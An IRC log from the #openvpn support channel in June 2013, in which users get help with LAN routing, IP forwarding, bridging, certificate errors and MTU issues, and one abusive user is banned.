20:56 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
21:01 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
21:05 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
21:11 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 276 seconds]
21:14 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
21:21 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
21:28 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
21:41 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
21:45 -!- A-KO [as@unaffiliated/a-ko] has quit []
21:46 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
22:27 -!- eennaam [~pi@unaffiliated/eennaam] has joined #openvpn
22:29 < eennaam> is it possible to configure a router with openvpn installed on it, so that all devices connected automatically join the VPN?
22:30 < EugeneKay> Yes, but not how you think.
22:30 < EugeneKay> The router serves as the only VPN client; it simply routes traffic for VPN destination via the single link
22:30 < EugeneKay> !route
22:30 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
22:30 <@vpnHelper> behind the server or client
22:31 < EugeneKay> !clientlan
22:31 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
22:31 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
22:31 < EugeneKay> Read ^
22:33 < eennaam> hmm
22:33 < eennaam> not possible with the openvpn server installed/configured on the router? need to have the vpnserver on another box?
22:35 < eennaam> !ipforward
22:35 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
22:35 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 245 seconds]
22:49 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
22:54 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 256 seconds]
23:05 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
23:39 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
23:51 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
23:59 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
--- Day changed Tue Jun 04 2013
00:03 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
00:05 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
00:28 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
00:42 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
00:46 -!- peper [~peper@gentoo/developer/peper] has quit [Ping timeout: 245 seconds]
00:47 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Read error: Connection reset by peer]
00:54 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
00:59 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:02 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
01:10 <@krzee> eennaam, it is possible how you ask
01:10 <@krzee> run a router that supports openvpn
01:10 <@krzee> !serverlan
01:10 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
01:11 <@krzee> since the router runs the openvpn server, you will not need to add any extra routes to the lan machines to allow them to access the other side, it is already their default route
01:12 <@krzee> the router can be the server or the client, depending on the desired topology
01:17 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
01:27 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Read error: Connection reset by peer]
01:29 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
01:33 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 252 seconds]
01:35 -!- gardar [~gardar@gardar.net] has quit [Remote host closed the connection]
01:42 < eennaam> krzee: hmm , i was running a dd-wrt router with openvpn server, I only have to figure out ip forwarding right?
01:44 < eennaam> !route
01:44 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
01:44 <@vpnHelper> behind the server or client
01:47 < eennaam> !linipforward
01:47 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
01:48 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
01:48 <@krzee> eennaam, is the router going to be the vpn server?
01:51 -!- zamba [marius@flage.org] has quit [Quit: WeeChat 0.3.8]
01:54 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 252 seconds]
01:57 < eennaam> krzee: yes
01:57 <@krzee> !serverlan
01:57 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
01:57 <@krzee> push the correct route, ip forwarding on the server, and correct firewall rules on the server
02:00 < eennaam> reading http://www.dd-wrt.com/wiki/index.php/Linking_Subnets_with_Static_Routes  ,
02:00 <@vpnHelper> Title: Linking Subnets with Static Routes - DD-WRT Wiki (at www.dd-wrt.com)
02:03 < eennaam> !route_outside_openvpn
02:03 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
02:04 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:09 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
02:09 < andi> Hi, I'd like to get my openvpn bridging setup to work. What I like to do is to be part of a LAN when connected via OpenVPN. Connection already works and I'm getting the IP 192.168.10.100 for my client while the bridge on the server has 192.168.10.10. The bridge includes the internal ethernet interface eth0 and the openvpn tap0 interface. My problem is, that I'm unable to reach any host inside of the LAN. Can somebody help me figure out what's the problem?
02:10 < andi> The client is a windows 7 machine with openvpn gui and the server runs centos 6.4.
02:15 <@krzee> eennaam, you get to skip the route outside openvpn
02:16 <@krzee> andi, why do you want bridging?
02:16 < andi> server config: http://pastebin.com/pfWMrvwk client config: http://pastebin.com/XJUNP5v4
02:16 <@krzee> because some web walkthrough uses it?
02:16 <@krzee> !tunortap
02:16 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
02:16 < andi> krzee: I thought it would be easy if the clients are part of the same subnet.
02:17 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
02:17 < andi> Yes I need windows shares.
02:17 < andi> !wins
02:17 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
02:18 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
02:19 < andi> I don't know if I really need a wins server. I know the machines which provides the windows shares.
02:19 <@krzee> you know the ip you mean?
02:19 < andi> yes
02:19 -!- zamba [marius@flage.org] has joined #openvpn
02:19 <@krzee> windows sharing works via ip, it is only the netbios resolution and the browsing of workgroup that uses layer2
02:20 < andi> So maybe it's really easier to use different subnets for vpn and LAN and route them.
02:20 <@krzee> !serverlan
02:20 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
02:20 <@krzee> !sample
02:20 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
02:20 <@krzee> that should get ya started
02:22 < andi> I already have a great working openvpn server running. I just thought it is a good idea to have the LAN and the openvpn clients in the same subnet with a bridge. But maybe it isn't. I'll have a try, thanks. ;)
02:24 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 276 seconds]
02:29 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
02:30 < andi> But I need to have a route backwards on each client, or not?
02:30 < andi> I can reach all interfaces on the server now.
02:31 <@krzee> !route_outside_ovpn
02:31 <@vpnHelper> "route_outside_ovpn" is "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
02:31 <@krzee> ]\
02:32 < andi> The link is not working. :(
02:32 <@krzee> works here
02:32 <@krzee> both do
02:32 <@krzee> and if you had a great working setup you wouldnt be getting help ;]
02:34 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 264 seconds]
02:34 < andi> Ah, these are two links.
02:35 < andi> openvpn is capable of many different things, but I think I needn't tell you. The only thing I want to tell was that I know the basics of openvpn.
02:35 <@krzee> the long winded explanation about the route needed outside of openvpn (if the vpn endpoint with a LAN to share is not the default gateway for the LAN) is here:
02:35 <@krzee> !route
02:35 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
02:35 <@vpnHelper> the server or client
02:37 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
02:41 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
02:47 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
02:49 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
02:54 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
03:00 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Textual IRC Client: http://www.textualapp.com/]
03:00 -!- cnf [iUocQy5BEg@unaffiliated/cnf] has quit [Read error: Operation timed out]
03:01 -!- cnf [NKp2l7iCPT@unaffiliated/cnf] has joined #openvpn
03:02 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
03:11 -!- cnf [NKp2l7iCPT@unaffiliated/cnf] has quit [Remote host closed the connection]
03:14 -!- cnf [vXHlQDTtXh@unaffiliated/cnf] has joined #openvpn
03:18 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
03:21 -!- cnf [vXHlQDTtXh@unaffiliated/cnf] has quit [Ping timeout: 264 seconds]
03:22 -!- cnf [CasXIbEnEw@unaffiliated/cnf] has joined #openvpn
03:22 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 276 seconds]
03:28 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
03:30 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
03:31 -!- cnf [CasXIbEnEw@unaffiliated/cnf] has quit [Ping timeout: 264 seconds]
03:35 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 264 seconds]
03:37 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Quit: exed]
03:47 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
03:53 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
03:53 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 264 seconds]
03:54 -!- cnf [ZrI3Rtnnd0@unaffiliated/cnf] has joined #openvpn
03:56 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
04:02 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 264 seconds]
04:03 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
04:04 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Client Quit]
04:34 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
04:44 -!- HaxCore [~p3rror@41.250.251.159] has joined #openvpn
04:46 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Operation timed out]
04:49 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 260 seconds]
04:51 -!- HaxCore [~p3rror@41.250.251.159] has quit [Ping timeout: 246 seconds]
04:56 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
05:03 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
05:03 -!- HaxCore [~p3rror@41.249.253.52] has joined #openvpn
05:04 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Quit: exed]
05:04 -!- HaxCore [~p3rror@41.249.253.52] has quit [Max SendQ exceeded]
05:05 -!- HaxCore [~p3rror@41.249.253.52] has joined #openvpn
05:06 -!- HaxCore [~p3rror@41.249.253.52] has quit [Max SendQ exceeded]
05:07 -!- HaxCore [~p3rror@41.249.253.52] has joined #openvpn
05:11 -!- p3rror [~p3rror@41.250.251.159] has joined #openvpn
05:13 -!- HaxCore [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
05:14 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 246 seconds]
05:14 -!- HaxCore [~p3rror@41.249.253.52] has joined #openvpn
05:15 -!- Minnebo [~Minnebo@office.exabyte.be] has joined #openvpn
05:16 < Minnebo> anyone has an idea, how I allow AD credentials passthrough with openvpn to logon to SQL databases?
05:16 -!- p3rror [~p3rror@41.250.251.159] has quit [Ping timeout: 245 seconds]
05:17 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
05:24 < rob0> ? You want AD credentials to authenticate to openvpn? And then what does "'logon' to SQL databases" have to do with it?
05:45 -!- joko [~joko@147.102.37.22] has joined #openvpn
05:47 < joko> Hello, I have setup an OpenVPN server and on the clients I redirect all internet traffic through it. However, I have a printer on a different subnet which I want to still access it with my client. Could anyone tell me how to do so? I suppose I have to add a route?
05:51 < joko> ok, I think I found it: ip route add 10.10.3.19 via 10.10.2.97 dev usblan proto static where 3.19 is the printer's IP and 2.97 the client's local IP
05:57 < Minnebo> rob0, very much, since its not working :p
05:57 < Minnebo> PPTP vpn with RAS credentials set to 1 allows the ad crendentials to passthrough
05:57 < Minnebo> openvpn doenst work
05:57 < Minnebo> :p
05:59 < rob0> OpenVPN provides you an IP address and route[s] with which you can use it. I don't know what you're not understanding, but I suspect it has nothing to do with OpenVPN.
05:59 < cnf> Minnebo: i do not understand what you are saying...
06:14 < Minnebo> sigh
06:14 < Minnebo> people and their knowledge : )
06:15 < Minnebo> http://www.conetrix.com/Blog/post/Access-Domain-Resources-When-Connected-to-VPN.aspx
06:15 <@vpnHelper> Title: How-to Access Domain Resources When Connected to VPN (at www.conetrix.com)
06:16 < Minnebo> this is the fix for PPTP vpn, that allows you do use your AD credentials instead of PPTP credentials once connected
06:16 < cnf> Minnebo: it's not about knowledge, i do not understand what _you_ are saying
06:16 < Minnebo> I need a similar fix/workaround for openvpn
06:19 < Minnebo> well if you have a database it can be configured multiple ways, either by local users, or either by AD integration. If you use the second option which is the most used option since it allows you to have a central management for users.
06:20 < Minnebo> When connecting with PPTP and the fix I posted, the windows passthrough works
06:20 < Minnebo> but when using openvpn, it says user not found
06:20 < Minnebo> do you understand it more now or do I explain me not so good?
06:20 < Minnebo> my english is not that good :p
06:21 < rob0> It is looking like a Microsoft Windows issue. Again, OpenVPN provides you an IP address and route[s].
06:21 < rob0> !notovpn
06:21 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
06:25 -!- brad [~brad@ninja.so] has quit [Ping timeout: 252 seconds]
06:27 < Minnebo> oké well Cisco VPN client haven't got this problem
06:27 < Minnebo> so i'll use that instead
06:27 < Minnebo> : )
06:28 < rob0> Yep, commercial/proprietary software providers do more of your work for you than free software.
06:44 -!- HaxCore [~p3rror@41.249.253.52] has left #openvpn ["Leaving"]
06:44 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
06:48 < BtbN> krzee: no, there is one important piece missing for that to work with v6
06:49 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
06:50 < BtbN> krzee: the v4 --route command supports aliases, like "remote_host", "vpn_gateway" and, more important, "vpn_gateway"
06:50 < BtbN> these aliases make redirect-gateway possible
06:50 < BtbN> they are not supported by --route-ipv6
06:50 < BtbN> *"nat_gateway"
06:59 -!- sitaktif1 is now known as sitaktif
07:07 -!- Denial [Denial@90.208.15.68] has joined #openvpn
07:17 -!- ikrabbe [ingo@pdpc/supporter/professional/ikrabbe] has joined #openvpn
07:18 < ikrabbe> Maybe you can help me out here: Tue Jun 4 14:17:46 2013 176.199.49.80:1194 VERIFY ERROR: depth=1, error=self signed certificate in certificate chain: ...
07:18 < ikrabbe> The certificate mentioned here is the CA though
07:19 < ikrabbe> I configured client and server with pkcs12 keys
07:20 < ikrabbe> the client accepts the server certificate, but the server does not accept the client certificate
07:21 < ikrabbe> though both are generated with similar algorithms, where the client certificate has its usage set to client of course
07:21 -!- brad [~brad@mail.mafiacrime.net] has joined #openvpn
07:23 -!- brad [~brad@mail.mafiacrime.net] has quit [Remote host closed the connection]
07:26 < ikrabbe> using openssl verify with the CA.cert and the client.cert used in the pkcs12 and on both sides gives OK
07:29 < Minnebo> rob0, my god, what a prick are you really
07:29 -!- brad [~brad@mail.mafiacrime.net] has joined #openvpn
07:31 < Minnebo> OpenVPN is not holy or whatsoever, I'm just trying to find a proper solution. I don't care if it is a windows problem or a problem with OpenVPN. Im just facing this problem while using OpenVPN, so I aks my question here. Which is the most logic place to ask
07:32 < Minnebo> if you have an attitude of making or using a bot that says politely gtfo your just a waste for the community
07:32 < Minnebo> not only openvpn but any community
07:33 < Minnebo> if your not wanting to help people even don't even bother connecting to a community chat.
07:33 < cnf> Minnebo: you know, personally i'm not liking your attitude much.
07:33 < cnf> no one here gets payed to help
07:34 < cnf> don't insult the people that at least try
07:34 < Minnebo> oké
07:34 < Minnebo> so where exactly did he try to help
07:35 < Minnebo> i'd rather have none answering instead of !notovpn
07:35 < Minnebo> thats just a polite way of saying get out of here
07:35 < cnf> oh, i'm done talking to you, i don't like the way you deal with interaction
07:35 < Minnebo> (y)
07:39 -!- ahstanford [~alexstanf@c-66-177-27-229.hsd1.fl.comcast.net] has quit [Read error: Connection reset by peer]
07:40 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has joined #openvpn
07:40 -!- ahstanford [~alexstanf@c-66-177-27-229.hsd1.fl.comcast.net] has joined #openvpn
07:41 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
07:41 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Remote host closed the connection]
07:43 < kisom> Minnebo: We use AD authentication over OpenVPN without any issues.
07:43 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
07:44 < Minnebo> The authentication works too here, but the passthrough to mysql wont work, where it does with PPTP
07:44 < Minnebo> but its oké thanks for the reply
07:44 < kisom> OK, since it's L2 it should not really matter.
07:45 < kisom> (At least I use L2)
07:45 <@plaisthos> Minnebo: I have to agree with cnf and rob0. That a is problem that might be caused due too openvpn interaction with something else but is outside openvpn so we have no knowlege what that might be and what workaround can be used for that
07:46 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
07:47 < Minnebo> plaisthos, I just thought I might find someone here that used to be in the situation I am now
07:47 <@plaisthos> Minnebo: if you can explain to us what "passthrough authencation" is from a layer3/dns/network perspective we might have some ideas why it breaks
07:48 -!- ahstanford [~alexstanf@c-66-177-27-229.hsd1.fl.comcast.net] has quit [Read error: Connection reset by peer]
07:48 <@plaisthos> Minnebo: but I (and I think the others too) got the feeling that you *expect* us to know what that is and are demanding a solution
07:49 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 256 seconds]
07:49 < Minnebo> the passtrough authentication will use your Active Directory credentials to logon to the sql database management console. But for some reason (even with OpenVPN being used with Active Directory integration) the SQL management interface gives an error user not found.
07:50 <@plaisthos> Minnebo: yeah. Focus on the layer3/dns/network perspective :)
07:51 <@plaisthos> We have no idea how this internally works
07:51 < Minnebo> offcourse i'm not demanding a solution. just trying to find someone who encountered the same problem since googling didnt help much :D
07:53 < Minnebo> i contacted Cyberoam (firewall appliance) too see if they have had this question before
07:53 -!- bjh4 [~bjh4@12.239.198.1] has joined #openvpn
07:54 -!- mattock_afk is now known as mattock
07:57 -!- monk [~aknm@unaffiliated/aknm] has quit [Ping timeout: 256 seconds]
07:59 -!- dxtr [b8de87d2@unaffiliated/dxtr] has quit [Ping timeout: 260 seconds]
08:02 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- \o/]
08:03 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
08:04 -!- midacts [~midacts@207.59.77.254] has quit [Client Quit]
08:04 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
08:42 -!- defswork_ is now known as defswork
09:05 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
09:07 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
09:51 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
09:56 < ikrabbe> ok, finally I resolved the cert issues, though I don't know what actually solved it. Now I have another question:
09:56 < ikrabbe> server 192.168.123.0 255.255.255.0, should configure the server at 192.168.123.1 and somehow starts the clients at 192.168.123.5.
09:57 < ikrabbe> but I get an ifconfig on the client 192.168.123.6->192.168.123.5
09:57 < ikrabbe> this 192.168.123.5 is completely unused, as far as I can see
09:57 < ikrabbe> so what is it for?
09:58 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:58 < ikrabbe> (acutally my client has 192.168.123.6 now and the server has 192.168.123.1, as expected)
10:01 -!- bjh4 [~bjh4@12.239.198.1] has quit [Quit: Leaving]
10:16 -!- i7c_ [~i7c@212.47.190.111] has quit [Quit: - nope this should not have happpened -]
10:16 -!- raidz_away is now known as raidz
10:19 < rob0> !sweet
10:19 <@vpnHelper> "sweet" is http://sweet.nodns4.us/ =(
10:19 < rob0> Minnebo, that's my final word.
10:20 < rob0> No more of your abuse will be tolerated here.
10:21 < Minnebo> you liar, you keep talking
10:21 < rob0> I was afk because of a fire call, search and recovery, and come back to this.
10:21 -!- mode/#openvpn [+o rob0] by ChanServ
10:21 < defswork> kb!
10:22 < Minnebo> !kb minnebo
10:22 < Minnebo> !
10:22 < Minnebo> use your noob power if you can't win a discussion
10:22 < Minnebo> GO
10:22 < Minnebo> GROW YOUR E PENIS
10:22 < Minnebo> GROW
10:22 < Minnebo> LET IT GROOOWWWW
10:22 < defswork> Minnebo, you need to understand where a vpn simply routing IP data and a protocol for authentication start and end
10:22 -!- Minnebo [~Minnebo@office.exabyte.be] has quit [Quit: Ik ga weg]
10:22 -!- mode/#openvpn [+b *!*@office.exabyte.be] by rob0
10:23 <@rob0> oh well, soo slow
10:23 < defswork> getting old :)
10:23 <@rob0> s/getting/gotten/
10:24 <@rob0> He doesn't need to be here anyway. He said he was going to use Cisco.
10:24 -!- mode/#openvpn [-o rob0] by ChanServ
10:24 <@plaisthos> the glorious cisco software
10:24 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
10:24 <@plaisthos> known for working extremly well under all operating system
10:24 < defswork> it's worrying that people seem to have the privileges to setup networks etc.. but not the basic understanding needed to ensure they are secure etc..
10:25 <@plaisthos> defswork: yeah :/
10:26 < defswork> I'd have guessed that his issue was either routing or dns
10:26 -!- mode/#openvpn [-o plaisthos] by plaisthos
10:26 < defswork> most like his endpoint didnt know how to route back to his vpn subnet
10:27 < plaisthos> or computer with local users vs remote domain and ms vpn does some magic that for remote ressource not the local auth but the vpn auth is used
10:27 < rob0> The man we were looking for had blown his head off with a shotgun. Ugly stuff.
10:28 < defswork> :o
10:28 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:29 < defswork> you a volunteer search and rescue ?
10:29 < rob0> yes, a firefighter, we do anything that's needed.
10:30 < defswork> small town ?
10:30 < rob0> rural area outside a small town :)
10:56 < kisom> Sounds cool
10:59 -!- exed_ [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
11:02 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Ping timeout: 264 seconds]
11:04 -!- exed_ [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Ping timeout: 264 seconds]
11:05 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
11:22 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
11:22 < flo|va-nu-pied> hi all
11:23 < Slippern> i can connect to my vpn without any problems, and the traceroute says all the traffic is going to the internet via vpn. SSH and RDP is working great. But HTTP / HTTPS i can only browse sites that only is a few kilobyte.. any ideas?
11:24 <@krzee> wireshark
11:24 <@krzee> maybe check out your mtu
11:25 <@krzee> your problem will be less vpn, more general networking
11:25 <@krzee> (once you can ping, the vpn is fine)
11:25 -!- BtbN [znc@btbn.de] has quit [Quit: Bye]
11:27 -!- BtbN [znc@btbn.de] has joined #openvpn
11:28 < Slippern> i can ping anything..
11:28 <@krzee> right, which is why i said  <krzee> your problem will be less vpn, more general networking
11:28 <@krzee> sniff your traffic when the problem happens
11:28 < ikrabbe> Slippern, I had similar problems
11:28 <@krzee> see what the problem is
11:28 <@krzee> i also suggested checking your mtu
11:29 < ikrabbe> I solved it by fiddling with mtu
11:29 < ikrabbe> yes
11:29 < Slippern> hm, i connected trough my 3G, and it worked fine.. something strange with the wifi-network.
11:30 < ikrabbe> the best way to see if it's really the mtu is to send a file through the tunnel. so packages that are maxed against mtu will get blocked
11:30 <@krzee> or
11:30 <@krzee> !mtu
11:30 <@vpnHelper> "mtu" is (#1) see --mtu-test to learn how to test your MTU settings. Basically you just use --mtu-test in your normal client config or (#2) mtu debugging guide: http://www.secure-computing.net/wiki/index.php/OpenVPN/Troubleshooting
11:31 <@krzee> and
11:31 <@krzee> !gigabit
11:31 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
11:31 < ikrabbe> krzee nice
11:31 <@krzee> (jjks gigabit writeup has some decent mtu info in there)
11:33 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has quit [Quit: cya]
11:34 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 245 seconds]
11:56 < Slippern> hm, lagest mtu is 1472, or 1500 with header.
11:56 < Slippern> largest*
12:05 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Quit: ZNC - http://znc.in]
12:08 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
12:08 < Slippern> mssfix doesnt work :/
12:13 <@krzee> i dont believe 1500 requires any tuning
12:20 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Quit: ZNC - http://znc.in]
12:22 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
12:23 < Slippern> hmm :/
12:24 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
12:26 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
